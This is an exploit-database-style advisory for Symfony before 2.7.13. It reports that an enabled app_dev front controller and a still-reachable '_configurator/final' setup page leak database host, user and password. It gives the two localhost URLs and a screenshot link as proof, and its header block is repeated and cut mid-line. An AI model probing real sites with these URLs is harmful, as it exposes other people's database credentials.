Symfony Remote Information Disclosure

# Exploit Title: Symfony < 2.7.13 - Remote information Disclosure
# Google Dork: N/A
# Date: 6/27/2018
# Exploit Author: Abdeljalil Nouiri (pwny)
# Author Mail : abdel001nouiri& # Exploit Title: Symfony < 2.7.13 - Remote information Disclosure
# Google Dork: N/A
# Date: 6/27/2018
# Exploit Author: Abdeljalil Nouiri (pwny)
# Author Mail : abdel001nouiri[at]gmail[dot]com
# Vendor Homepage: https://www.symfony.com/
# Version: 2.7.13
# Tested on: Win10 x64, Ubuntu

# Exploit :


-STEP 1:

This Vulnerability Will Work if the "app_dev" isn't disabled

url : https://localhost/app_dev.php/

-STEP 2:

the last step of symfony configuration still accessible , this would leak
all information including ( database host/user/password ... etc)

url :https://localhost/app_dev.php/_configurator/final



# POC :

http://prntscr.com/kbuua8